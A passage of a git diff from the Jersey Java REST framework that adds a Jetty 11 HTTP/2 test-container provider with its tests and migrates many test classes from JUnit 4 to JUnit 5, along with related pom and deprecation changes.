org.junit.Assert.assertTrue; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; /** * Test class for {@link JettyHttpContainer}. @@ -83,8 +83,8 @@ public String getSomething() { public void testJettyContainerTarget() { final Response response = target().path("one").request().get(); - assertEquals("Response status unexpected.", 200, response.getStatus()); - assertEquals("Response entity unexpected.", "get", response.readEntity(String.class)); + assertEquals(200, response.getStatus(), "Response status unexpected."); + assertEquals("get", response.readEntity(String.class), "Response entity unexpected."); } /** @@ -106,7 +106,7 @@ public void testParentServiceLocator() { } else { throw new RuntimeException("Invalid Hk2 InjectionManager"); } - assertTrue("Application injection manager was expected to have defined parent locator", - serviceLocator.getParent() == locator); + assertTrue(serviceLocator.getParent() == locator, + "Application injection manager was expected to have defined parent locator"); } } diff --git a/test-framework/providers/jetty11-http2/pom.xml b/test-framework/providers/jetty11-http2/pom.xml new file mode 100644 index 00000000000..ed1cf227263 --- /dev/null +++ b/test-framework/providers/jetty11-http2/pom.xml @@ -0,0 +1,46 @@ + + + + + + project + org.glassfish.jersey.test-framework.providers + 3.1.99-SNAPSHOT + + 4.0.0 + + jersey-test-framework-provider-jetty-http2 + jar + jersey-test-framework-provider-jetty-http2 + + Jersey Test Framework - Jetty HTTP2 container + + + + org.glassfish.jersey.test-framework + jersey-test-framework-core + ${project.version} + + + org.glassfish.jersey.containers + jersey-container-jetty-http2 + ${project.version} + + + \ No newline at end of file diff --git a/test-framework/providers/jetty11-http2/src/main/java/org/glassfish/jersey/test/jetty11/http2/Jetty11Http2TestContainerFactory.java b/test-framework/providers/jetty11-http2/src/main/java/org/glassfish/jersey/test/jetty11/http2/Jetty11Http2TestContainerFactory.java new file mode 100644 index 00000000000..867db08b40d --- /dev/null +++ b/test-framework/providers/jetty11-http2/src/main/java/org/glassfish/jersey/test/jetty11/http2/Jetty11Http2TestContainerFactory.java @@ -0,0 +1,126 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.test.jetty11.http2; + +import java.net.URI; +import java.util.logging.Level; +import java.util.logging.Logger; + +import jakarta.ws.rs.core.UriBuilder; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.jetty.http2.Jetty11Http2ContainerFactory; +import org.glassfish.jersey.test.DeploymentContext; +import org.glassfish.jersey.test.spi.TestContainer; +import org.glassfish.jersey.test.spi.TestContainerException; +import org.glassfish.jersey.test.spi.TestContainerFactory; +import org.glassfish.jersey.test.spi.TestHelper; + +import org.eclipse.jetty.server.Connector; +import org.eclipse.jetty.server.Server; +import org.eclipse.jetty.server.ServerConnector; + +/** + * Factory for testing {@link Jetty11Http2ContainerFactory}. + * + */ +public final class Jetty11Http2TestContainerFactory implements TestContainerFactory { + + private static class JettyHttp2TestContainer implements TestContainer { + + private static final Logger LOGGER = Logger.getLogger(JettyHttp2TestContainer.class.getName()); + + private URI baseUri; + private final Server server; + + private JettyHttp2TestContainer(final URI baseUri, final DeploymentContext context) { + final URI base = UriBuilder.fromUri(baseUri).path(context.getContextPath()).build(); + + if (!"/".equals(base.getRawPath())) { + throw new TestContainerException(String.format( + "Cannot deploy on %s. Jetty HTTP2 container only supports deployment on root path.", + base.getRawPath())); + } + + this.baseUri = base; + + if (LOGGER.isLoggable(Level.INFO)) { + LOGGER.info("Creating JettyHttp2TestContainer configured at the base URI " + + TestHelper.zeroPortToAvailablePort(baseUri)); + } + + this.server = Jetty11Http2ContainerFactory.createHttp2Server(this.baseUri, context.getResourceConfig(), false); + } + + @Override + public ClientConfig getClientConfig() { + return null; + } + + @Override + public URI getBaseUri() { + return baseUri; + } + + @Override + public void start() { + if (server.isStarted()) { + LOGGER.log(Level.WARNING, "Ignoring start request - JettyHttp2TestContainer is already started."); + } else { + LOGGER.log(Level.FINE, "Starting JettyHttp2TestContainer..."); + try { + server.start(); + + if (baseUri.getPort() == 0) { + int port = 0; + for (final Connector connector : server.getConnectors()) { + if (connector instanceof ServerConnector) { + port = ((ServerConnector) connector).getLocalPort(); + break; + } + } + + baseUri = UriBuilder.fromUri(baseUri).port(port).build(); + + LOGGER.log(Level.INFO, "Started JettyHttp2TestContainer at the base URI " + baseUri); + } + } catch (Exception e) { + throw new TestContainerException(e); + } + } + } + + @Override + public void stop() { + if (server.isStarted()) { + LOGGER.log(Level.FINE, "Stopping JettyHttp2TestContainer..."); + try { + this.server.stop(); + } catch (Exception ex) { + LOGGER.log(Level.WARNING, "Error Stopping JettyHttp2TestContainer...", ex); + } + } else { + LOGGER.log(Level.WARNING, "Ignoring stop request - JettyHttp2TestContainer is already stopped."); + } + } + } + + @Override + public TestContainer create(final URI baseUri, final DeploymentContext context) throws IllegalArgumentException { + return new JettyHttp2TestContainer(baseUri, context); + } +} diff --git a/ext/spring4/src/test/java/org/glassfish/jersey/server/spring/profiles/TestService.java b/test-framework/providers/jetty11-http2/src/main/java/org/glassfish/jersey/test/jetty11/http2/package-info.java similarity index 77% rename from ext/spring4/src/test/java/org/glassfish/jersey/server/spring/profiles/TestService.java rename to test-framework/providers/jetty11-http2/src/main/java/org/glassfish/jersey/test/jetty11/http2/package-info.java index 045d3e2e476..0fdbe9d2b29 100644 --- a/ext/spring4/src/test/java/org/glassfish/jersey/server/spring/profiles/TestService.java +++ b/test-framework/providers/jetty11-http2/src/main/java/org/glassfish/jersey/test/jetty11/http2/package-info.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2014, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -14,9 +14,7 @@ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 */ -package org.glassfish.jersey.server.spring.profiles; - -public interface TestService { - - String test(); -} +/** + * Jersey test framework for Jetty 11 HTTP/2 Container. + */ +package org.glassfish.jersey.test.jetty11.http2; diff --git a/test-framework/providers/jetty11-http2/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory b/test-framework/providers/jetty11-http2/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory new file mode 100644 index 00000000000..0edcf7211bf --- /dev/null +++ b/test-framework/providers/jetty11-http2/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory @@ -0,0 +1 @@ +org.glassfish.jersey.test.jetty11.http2.Jetty11Http2TestContainerFactory diff --git a/test-framework/providers/jetty11-http2/src/main/resources/org/glassfish/jersey/test/jetty11/http2/localization.properties b/test-framework/providers/jetty11-http2/src/main/resources/org/glassfish/jersey/test/jetty11/http2/localization.properties new file mode 100644 index 00000000000..f10b03c2f6e --- /dev/null +++ b/test-framework/providers/jetty11-http2/src/main/resources/org/glassfish/jersey/test/jetty11/http2/localization.properties @@ -0,0 +1,18 @@ +# +# Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. +# +# This program and the accompanying materials are made available under the +# terms of the Eclipse Public License v. 2.0, which is available at +# http://www.eclipse.org/legal/epl-2.0. +# +# This Source Code may also be made available under the following Secondary +# Licenses when the conditions for such availability set forth in the +# Eclipse Public License v. 2.0 are satisfied: GNU General Public License, +# version 2 with the GNU Classpath Exception, which is available at +# https://www.gnu.org/software/classpath/license.html. +# +# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 +# + +# {0} - status code; {1} - status reason message +not.supported=Jetty container is not supported on JDK version less than 17. diff --git a/test-framework/providers/jetty11-http2/src/test/java/org/glassfish/jersey/test/jetty11/http2/AvailablePortJetty11Test.java b/test-framework/providers/jetty11-http2/src/test/java/org/glassfish/jersey/test/jetty11/http2/AvailablePortJetty11Test.java new file mode 100644 index 00000000000..ac93ccbdf77 --- /dev/null +++ b/test-framework/providers/jetty11-http2/src/test/java/org/glassfish/jersey/test/jetty11/http2/AvailablePortJetty11Test.java @@ -0,0 +1,66 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.test.jetty11.http2; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; + +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.DeploymentContext; +import org.glassfish.jersey.test.JerseyTest; +import org.glassfish.jersey.test.TestProperties; +import org.glassfish.jersey.test.spi.TestContainerFactory; + +import org.junit.jupiter.api.Test; +import static org.hamcrest.CoreMatchers.equalTo; +import static org.hamcrest.CoreMatchers.not; +import static org.hamcrest.MatcherAssert.assertThat; + +/** + * Tests finding an available port for container. + * + */ +public class AvailablePortJetty11Test extends JerseyTest { + + @Override + protected TestContainerFactory getTestContainerFactory() { + return new Jetty11Http2TestContainerFactory(); + } + + @Path("AvailablePortJettyTest") + public static class TestResource { + @GET + public String get() { + return "GET"; + } + } + + @Override + protected DeploymentContext configureDeployment() { + forceSet(TestProperties.CONTAINER_PORT, "0"); + + return DeploymentContext.builder(new ResourceConfig(TestResource.class)).build(); + } + + @Test + public void testGet() { + assertThat(target().getUri().getPort(), not(0)); + assertThat(getBaseUri().getPort(), not(0)); + + assertThat(target("AvailablePortJettyTest").request().get(String.class), equalTo("GET")); + } +} diff --git a/test-framework/providers/jetty11-http2/src/test/java/org/glassfish/jersey/test/jetty11/http2/Jetty11ContainerTest.java b/test-framework/providers/jetty11-http2/src/test/java/org/glassfish/jersey/test/jetty11/http2/Jetty11ContainerTest.java new file mode 100644 index 00000000000..0ec4c06a1f6 --- /dev/null +++ b/test-framework/providers/jetty11-http2/src/test/java/org/glassfish/jersey/test/jetty11/http2/Jetty11ContainerTest.java @@ -0,0 +1,119 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.test.jetty11.http2; + +import java.net.URI; +import java.util.List; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.core.Response; + +import org.glassfish.jersey.inject.hk2.DelayedHk2InjectionManager; +import org.glassfish.jersey.inject.hk2.ImmediateHk2InjectionManager; +import org.glassfish.jersey.internal.inject.InjectionManager; +import org.glassfish.jersey.jetty.http2.Jetty11Http2ContainerFactory; +import org.glassfish.jersey.jetty.Jetty11HttpContainer; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.glassfish.hk2.api.ServiceLocator; + +import org.jvnet.hk2.internal.ServiceLocatorImpl; + +import org.eclipse.jetty.server.Server; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * Test class for {@link Jetty11HttpContainer}. + * + */ +public class Jetty11ContainerTest extends JerseyTest { + + /** + * Creates new instance. + */ + public Jetty11ContainerTest() { + super(new Jetty11Http2TestContainerFactory()); + } + + @Override + protected ResourceConfig configure() { + return new ResourceConfig(Resource.class); + } + + /** + * Test resource class. + */ + @Path("one") + public static class Resource { + + /** + * Test resource method. + * + * @return Test simple string response. + */ + @GET + public String getSomething() { + return "get"; + } + } + + @Test + /** + * Test {@link Server Jetty Server} container. + */ + public void testJettyContainerTarget() { + final Response response = target().path("one").request().get(); + + assertEquals(200, response.getStatus(), "Response status unexpected."); + assertEquals("get", response.readEntity(String.class), "Response entity unexpected."); + } + + /** + * Test that defined ServiceLocator becomes a parent of the newly created service locator. + */ + @Test + public void testParentServiceLocator() { + final ServiceLocator locator = new ServiceLocatorImpl("MyServiceLocator", null); + final Server server = Jetty11Http2ContainerFactory.createHttp2Server(URI.create("http://localhost:9876"), + new ResourceConfig(Resource.class), false, locator); + final Jetty11HttpContainer container = (Jetty11HttpContainer) server.getHandler(); + final InjectionManager injectionManager = container.getApplicationHandler().getInjectionManager(); + + ServiceLocator serviceLocator; + if (injectionManager instanceof ImmediateHk2InjectionManager) { + serviceLocator = ((ImmediateHk2InjectionManager) injectionManager).getServiceLocator(); + } else if (injectionManager instanceof DelayedHk2InjectionManager) { + serviceLocator = ((DelayedHk2InjectionManager) injectionManager).getServiceLocator(); + } else { + throw new RuntimeException("Invalid Hk2 InjectionManager"); + } + assertTrue(serviceLocator.getParent() == locator, + "Application injection manager was expected to have defined parent locator"); + } + @Test + public void testHttp2Container() { + final ServiceLocator locator = new ServiceLocatorImpl("MyServiceLocator", null); + final Server server = Jetty11Http2ContainerFactory.createHttp2Server(URI.create("http://localhost:9876"), + new ResourceConfig(Resource.class), true, locator); + final List protocols = server.getConnectors()[0].getProtocols(); + assertTrue(protocols.contains("h2") || protocols.contains("h2c")); + } +} diff --git a/test-framework/providers/netty/pom.xml b/test-framework/providers/netty/pom.xml index a95f15aa4f4..d660c259610 100644 --- a/test-framework/providers/netty/pom.xml +++ b/test-framework/providers/netty/pom.xml @@ -1,7 +1,7 @@ + + org.junit.vintage + junit-vintage-engine + ${junit5.version} + + + + + diff --git a/test-framework/util/src/main/java/org/glassfish/jersey/test/util/runner/ConcurrentParameterizedRunner.java b/test-framework/util/src/main/java/org/glassfish/jersey/test/util/runner/ConcurrentParameterizedRunner.java index a62a586f622..38133806b22 100644 --- a/test-framework/util/src/main/java/org/glassfish/jersey/test/util/runner/ConcurrentParameterizedRunner.java +++ b/test-framework/util/src/main/java/org/glassfish/jersey/test/util/runner/ConcurrentParameterizedRunner.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2014, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -44,8 +44,13 @@ * be merged into {@link ConcurrentRunner} in the future. * * @author Jakub Podlesak + * + * @deprecated in connection with transition to JUnit 5 usage of this class is obsolete. Alternatively can be used + * specific junit 5 + * executions tools. */ @Beta +@Deprecated public class ConcurrentParameterizedRunner extends BlockJUnit4ClassRunner { public final int FINISH_WAIT_CYCLE_MS = 2000; diff --git a/test-framework/util/src/main/java/org/glassfish/jersey/test/util/runner/ConcurrentRunner.java b/test-framework/util/src/main/java/org/glassfish/jersey/test/util/runner/ConcurrentRunner.java index f4f4d5fc21c..9540560d51b 100644 --- a/test-framework/util/src/main/java/org/glassfish/jersey/test/util/runner/ConcurrentRunner.java +++ b/test-framework/util/src/main/java/org/glassfish/jersey/test/util/runner/ConcurrentRunner.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2014, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -55,9 +55,14 @@ * as if no special concurrent runner was involved. * * @author Jakub Podlesak + * + * @deprecated in connection with transition to JUnit 5 usage of this class is obsolete. Alternatively can be used + * specific junit 5 + * executions tools. */ @Beta +@Deprecated public class ConcurrentRunner extends BlockJUnit4ClassRunner { public final int FINISH_WAIT_CYCLE_MS = 2000; diff --git a/test-framework/util/src/main/java/org/glassfish/jersey/test/util/runner/RunSeparately.java b/test-framework/util/src/main/java/org/glassfish/jersey/test/util/runner/RunSeparately.java index 9dee0385659..49a474f8165 100644 --- a/test-framework/util/src/main/java/org/glassfish/jersey/test/util/runner/RunSeparately.java +++ b/test-framework/util/src/main/java/org/glassfish/jersey/test/util/runner/RunSeparately.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2015, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -27,8 +27,13 @@ * by any of Jersey provided parallel test runner {@link ConcurrentRunner}. * * @author Jakub Podlesak + * + * @deprecated in connection with transition to JUnit 5 usage of this class is obsolete. Alternatively can be used + * specific junit 5 + * executions tools. */ @Retention(RetentionPolicy.RUNTIME) @Target(ElementType.METHOD) +@Deprecated public @interface RunSeparately { } diff --git a/test-framework/util/src/test/java/org/glassfish/jersey/test/util/client/LoopBackConnectorTest.java b/test-framework/util/src/test/java/org/glassfish/jersey/test/util/client/LoopBackConnectorTest.java index 67f6287aff8..431f1d7715e 100644 --- a/test-framework/util/src/test/java/org/glassfish/jersey/test/util/client/LoopBackConnectorTest.java +++ b/test-framework/util/src/test/java/org/glassfish/jersey/test/util/client/LoopBackConnectorTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2015, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -28,12 +28,13 @@ import jakarta.ws.rs.core.MediaType; import jakarta.ws.rs.core.Response; -import org.junit.After; -import org.junit.Before; -import org.junit.Test; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; import static org.hamcrest.CoreMatchers.is; import static org.hamcrest.CoreMatchers.nullValue; -import static org.junit.Assert.assertThat; +import static org.hamcrest.MatcherAssert.assertThat; /** * Basic {@link org.glassfish.jersey.test.util.client.LoopBackConnector} unit tests. @@ -44,12 +45,12 @@ public class LoopBackConnectorTest { private Client client; - @Before + @BeforeEach public void setUp() throws Exception { client = ClientBuilder.newClient(LoopBackConnectorProvider.getClientConfig()); } - @After + @AfterEach public void tearDown() throws Exception { if (client != null) { client.close(); @@ -83,10 +84,12 @@ public void testEntityMediaType() throws Exception { assertThat("Invalid content-type received", response.getMediaType(), is(new MediaType("foo", "bar"))); } - @Test(expected = IllegalStateException.class) + @Test public void testClose() throws Exception { - client.close(); - client.target("baz").request().get(); + Assertions.assertThrows(IllegalStateException.class, () -> { + client.close(); + client.target("baz").request().get(); + }); } @Test @@ -112,8 +115,9 @@ public void failed(final Throwable t) { assertThat("Async request failed", throwable.get(), nullValue()); } - @Test(expected = ProcessingException.class) + @Test public void testInvalidEntity() throws Exception { - client.target("baz").request().post(Entity.json(Arrays.asList("foo", "bar"))); + Assertions.assertThrows(ProcessingException.class, + () -> client.target("baz").request().post(Entity.json(Arrays.asList("foo", "bar")))); } } diff --git a/test-framework/util/src/test/java/org/glassfish/jersey/test/util/runner/ConcurrentRunnerTest.java b/test-framework/util/src/test/java/org/glassfish/jersey/test/util/runner/ConcurrentRunnerTest.java index 41f0ac54ba6..391ab4f1d07 100644 --- a/test-framework/util/src/test/java/org/glassfish/jersey/test/util/runner/ConcurrentRunnerTest.java +++ b/test-framework/util/src/test/java/org/glassfish/jersey/test/util/runner/ConcurrentRunnerTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2015, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -30,6 +30,7 @@ * * @author Jakub Podlesak */ +@SuppressWarnings({"unchecked", "deprecation"}) @RunWith(ConcurrentRunner.class) public class ConcurrentRunnerTest extends TestCase { diff --git a/tests/e2e-client/pom.xml b/tests/e2e-client/pom.xml index 51ce01e445b..03dc2b77ad1 100644 --- a/tests/e2e-client/pom.xml +++ b/tests/e2e-client/pom.xml @@ -1,7 +1,7 @@ - + org.glassfish.jersey.tests.e2e.inject.cdi.se.SecurityInterceptor diff --git a/tests/e2e-inject/cdi2-se/src/test/java/org/glassfish/jersey/tests/e2e/inject/cdi/se/EventsTest.java b/tests/e2e-inject/cdi2-se/src/test/java/org/glassfish/jersey/tests/e2e/inject/cdi/se/EventsTest.java index f76134ebbad..a1d688c34a2 100644 --- a/tests/e2e-inject/cdi2-se/src/test/java/org/glassfish/jersey/tests/e2e/inject/cdi/se/EventsTest.java +++ b/tests/e2e-inject/cdi2-se/src/test/java/org/glassfish/jersey/tests/e2e/inject/cdi/se/EventsTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2017, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -23,9 +23,9 @@ import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.test.JerseyTest; -import org.junit.Before; -import org.junit.Test; -import static org.junit.Assert.assertEquals; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; /** * Tests that the resource can fire an event. @@ -52,7 +52,7 @@ public void testFiredEvents() { } @Override - @Before + @BeforeEach public void setUp() throws Exception { try { super.setUp(); diff --git a/tests/e2e-inject/cdi2-se/src/test/java/org/glassfish/jersey/tests/e2e/inject/cdi/se/InterceptorDecoratorTest.java b/tests/e2e-inject/cdi2-se/src/test/java/org/glassfish/jersey/tests/e2e/inject/cdi/se/InterceptorDecoratorTest.java index a8433f71714..dae02fc1e7e 100644 --- a/tests/e2e-inject/cdi2-se/src/test/java/org/glassfish/jersey/tests/e2e/inject/cdi/se/InterceptorDecoratorTest.java +++ b/tests/e2e-inject/cdi2-se/src/test/java/org/glassfish/jersey/tests/e2e/inject/cdi/se/InterceptorDecoratorTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2017, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -22,8 +22,8 @@ import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.test.JerseyTest; -import org.junit.Test; -import static org.junit.Assert.assertEquals; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; /** * Tests that the resource can be intercepted and decorated. diff --git a/tests/e2e-inject/cdi2-se/src/test/java/org/glassfish/jersey/tests/e2e/inject/cdi/se/RequestContextBuilder.java b/tests/e2e-inject/cdi2-se/src/test/java/org/glassfish/jersey/tests/e2e/inject/cdi/se/RequestContextBuilder.java index 7f9146b0efd..42a04a3bf3a 100644 --- a/tests/e2e-inject/cdi2-se/src/test/java/org/glassfish/jersey/tests/e2e/inject/cdi/se/RequestContextBuilder.java +++ b/tests/e2e-inject/cdi2-se/src/test/java/org/glassfish/jersey/tests/e2e/inject/cdi/se/RequestContextBuilder.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2017, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -81,31 +81,33 @@ public void setEntity(final Object entity) { public void setWorkers(final MessageBodyWorkers workers) { super.setWorkers(workers); final byte[] entityBytes; - if (entity != null) { - final MultivaluedMap myMap = new MultivaluedHashMap(getHeaders()); - final ByteArrayOutputStream baos = new ByteArrayOutputStream(); - OutputStream stream = null; - try { - stream = workers.writeTo(entity, entity.getClass(), entityType.getType(), - new Annotation[0], getMediaType(), - myMap, - propertiesDelegate, baos, Collections.emptyList()); - } catch (final IOException | WebApplicationException ex) { - Logger.getLogger(TestContainerRequest.class.getName()).log(Level.SEVERE, null, ex); - } finally { - if (stream != null) { - try { - stream.close(); - } catch (final IOException e) { - // ignore + if (workers != null) { + if (entity != null) { + final MultivaluedMap myMap = new MultivaluedHashMap(getHeaders()); + final ByteArrayOutputStream baos = new ByteArrayOutputStream(); + OutputStream stream = null; + try { + stream = workers.writeTo(entity, entity.getClass(), entityType.getType(), + new Annotation[0], getMediaType(), + myMap, + propertiesDelegate, baos, Collections.emptyList()); + } catch (final IOException | WebApplicationException ex) { + Logger.getLogger(TestContainerRequest.class.getName()).log(Level.SEVERE, null, ex); + } finally { + if (stream != null) { + try { + stream.close(); + } catch (final IOException e) { + // ignore + } } } + entityBytes = baos.toByteArray(); + } else { + entityBytes = new byte[0]; } - entityBytes = baos.toByteArray(); - } else { - entityBytes = new byte[0]; + setEntityStream(new ByteArrayInputStream(entityBytes)); } - setEntityStream(new ByteArrayInputStream(entityBytes)); } } diff --git a/tests/e2e-inject/cdi2-se/src/test/java/org/glassfish/jersey/tests/e2e/inject/cdi/se/scopes/ScopesTest.java b/tests/e2e-inject/cdi2-se/src/test/java/org/glassfish/jersey/tests/e2e/inject/cdi/se/scopes/ScopesTest.java index 96be1763435..baeb657a485 100644 --- a/tests/e2e-inject/cdi2-se/src/test/java/org/glassfish/jersey/tests/e2e/inject/cdi/se/scopes/ScopesTest.java +++ b/tests/e2e-inject/cdi2-se/src/test/java/org/glassfish/jersey/tests/e2e/inject/cdi/se/scopes/ScopesTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2017, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2017, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -19,9 +19,9 @@ import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.test.JerseyTest; -import org.junit.Test; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertNotEquals; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotEquals; /** * Tests CDI resources. diff --git a/tests/e2e-inject/cdi2-se/src/test/java/org/glassfish/jersey/tests/e2e/inject/cdi/se/subresources/ModelProcessorScopeTest.java b/tests/e2e-inject/cdi2-se/src/test/java/org/glassfish/jersey/tests/e2e/inject/cdi/se/subresources/ModelProcessorScopeTest.java index c431a650ad4..3545f4c2377 100644 --- a/tests/e2e-inject/cdi2-se/src/test/java/org/glassfish/jersey/tests/e2e/inject/cdi/se/subresources/ModelProcessorScopeTest.java +++ b/tests/e2e-inject/cdi2-se/src/test/java/org/glassfish/jersey/tests/e2e/inject/cdi/se/subresources/ModelProcessorScopeTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2017, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2017, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -23,8 +23,8 @@ import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.tests.e2e.inject.cdi.se.RequestContextBuilder; -import org.junit.Test; -import static org.junit.Assert.assertEquals; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; /** * Test scope of resources enhanced by model processors. diff --git a/tests/e2e-inject/hk2/pom.xml b/tests/e2e-inject/hk2/pom.xml index df35d73128e..e8e417dbfca 100644 --- a/tests/e2e-inject/hk2/pom.xml +++ b/tests/e2e-inject/hk2/pom.xml @@ -1,7 +1,7 @@ + + + 4.0.0 + + + org.glassfish.jersey.tests + project + 3.1.99-SNAPSHOT + + + e2e-tls + jersey-tests-e2e-tls + jar + + Jersey E2E SSL/TLS tests + + + + + org.apache.maven.plugins + maven-surefire-plugin + + 1 + false + false + ${skip.e2e} + + true + Host + + ssl.debug + true + + + + + + + + + + org.glassfish.jersey.test-framework.providers + jersey-test-framework-provider-bundle + pom + test + + + org.glassfish.jersey.test-framework + jersey-test-framework-util + test + + + org.hamcrest + hamcrest + test + + + org.junit.platform + junit-platform-suite + ${junit-platform-suite.version} + test + + + io.specto + hoverfly-java-junit5 + 0.14.0 + test + + + + org.glassfish.jersey.connectors + jersey-apache-connector + test + + + org.glassfish.jersey.connectors + jersey-apache5-connector + test + + + org.glassfish.jersey.connectors + jersey-grizzly-connector + test + + + org.glassfish.jersey.connectors + jersey-jetty-connector + test + + + org.glassfish.jersey.connectors + jersey-jdk-connector + test + + + org.glassfish.jersey.connectors + jersey-jnh-connector + test + + + org.glassfish.jersey.security + oauth1-signature + ${project.version} + test + + + + + + jdk11+ + + [11,) + + + + com.sun.xml.bind + jaxb-osgi + test + + + + + -Djdk.tls.server.protocols=TLSv1.2 + + + + + diff --git a/tests/e2e-tls/src/test/java/org/glassfish/jersey/tests/e2e/tls/ClientHelloTestServer.java b/tests/e2e-tls/src/test/java/org/glassfish/jersey/tests/e2e/tls/ClientHelloTestServer.java new file mode 100644 index 00000000000..703d1c83f2f --- /dev/null +++ b/tests/e2e-tls/src/test/java/org/glassfish/jersey/tests/e2e/tls/ClientHelloTestServer.java @@ -0,0 